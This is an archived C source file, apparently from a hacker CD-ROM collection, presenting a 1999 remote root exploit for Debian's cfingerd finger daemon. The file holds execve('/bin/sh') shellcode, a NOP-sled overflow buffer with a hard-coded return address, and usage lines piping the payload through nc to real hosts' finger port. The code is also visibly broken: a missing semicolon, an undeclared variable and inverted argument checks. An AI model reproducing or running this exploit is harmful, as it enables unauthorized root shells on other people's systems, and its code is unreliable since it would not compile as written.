home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 4 / hacker04 / 04_HACK04.ISO / xploits / imp / imp-finger.c
Encoding:
C/C++ Source or Header  |  2002-03-18  |  1.9 KB  |  70 lines

  1. /*
  2.             - Imperfection Security Presents -     
  3.          
  4.        Debian GNU/Linux cfingerd remote root exploit
  5.        From shakey, of Imperfection Security [07/99]
  6.  
  7.    Exploits a problem reported on BUGTRAQ in Debian's
  8.    cfingerd. This exploit is remotely exploitable, and
  9.    leaves the attacker a root shell on vulnerable systems.
  10.    However, this attack is less susceptible to mass-probing
  11.    from script kiddies due to the lack of a banner from the
  12.    finger service ;D
  13.  
  14.    Affected Systems:
  15.     + Debian Linux 2.0r5, 2.0, 1.3.1, 1.3, 1.2
  16.  
  17.    Greetings: dave, unknown, syntax, naptime, jaz, blitzed
  18.               t0m, insane, DSC, short, vicci, crime, SDI
  19.               ( nice shellcode generator ), phewl,  
  20.               phenom, punish, kindred, tom-, justin
  21.               
  22.    Usage:
  23.      IS-finger [offset]
  24.      Example:    (./IS-finger 0; cat) | nc linux.org 79
  25. */
  26.  
  27. #include <stdio.h>
  28.  
  29. char shellcode[] = 
  30.         "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89"
  31.         "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
  32.         "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff"
  33.         "\xff\xff/bin/sh"
  34.  
  35. main (int argc, char *argv[]) {
  36.  char buf[2500];
  37.  int x,y=1000, offset=0;
  38.  long addr;
  39.  int bsize=986;
  40.  
  41.  if ( argc > 1) {
  42.   printf ( "Imperfection Securities\' cfingerd exploit.");
  43.   printf ( "Usage: (./IS-finger [offset]; cat) | nc debian.org 79\n");
  44.   exit (0);
  45.  }
  46.   
  47.  if ( argc > 0) offset = atoi (argv[1]);
  48.  
  49.  addr = 0xbffff3c0 + offset; 
  50.  
  51.  bsize -= strlen ( host);
  52.  
  53.  for ( x = 0; x < bsize-strlen(shellcode); x++)
  54.   buf[x] = 0x90;
  55.  
  56.  for ( y = 0; y < strlen(shellcode); x++, y++)
  57.   buf[x] = shellcode[y]; 
  58.  
  59.  for ( ; x < 72; x+=4) { 
  60.   buf[x  ] = addr & 0x000000ff;
  61.   buf[x+1] = (addr & 0x0000ff00) >> 8;
  62.   buf[x+2] = (addr & 0x00ff0000) >> 16;
  63.   buf[x+3] = (addr & 0xff000000) >> 24;
  64.  }
  65.         
  66.  sleep (1);
  67.  printf ( "%s\r\n", buf);
  68. }
  69.  
  70.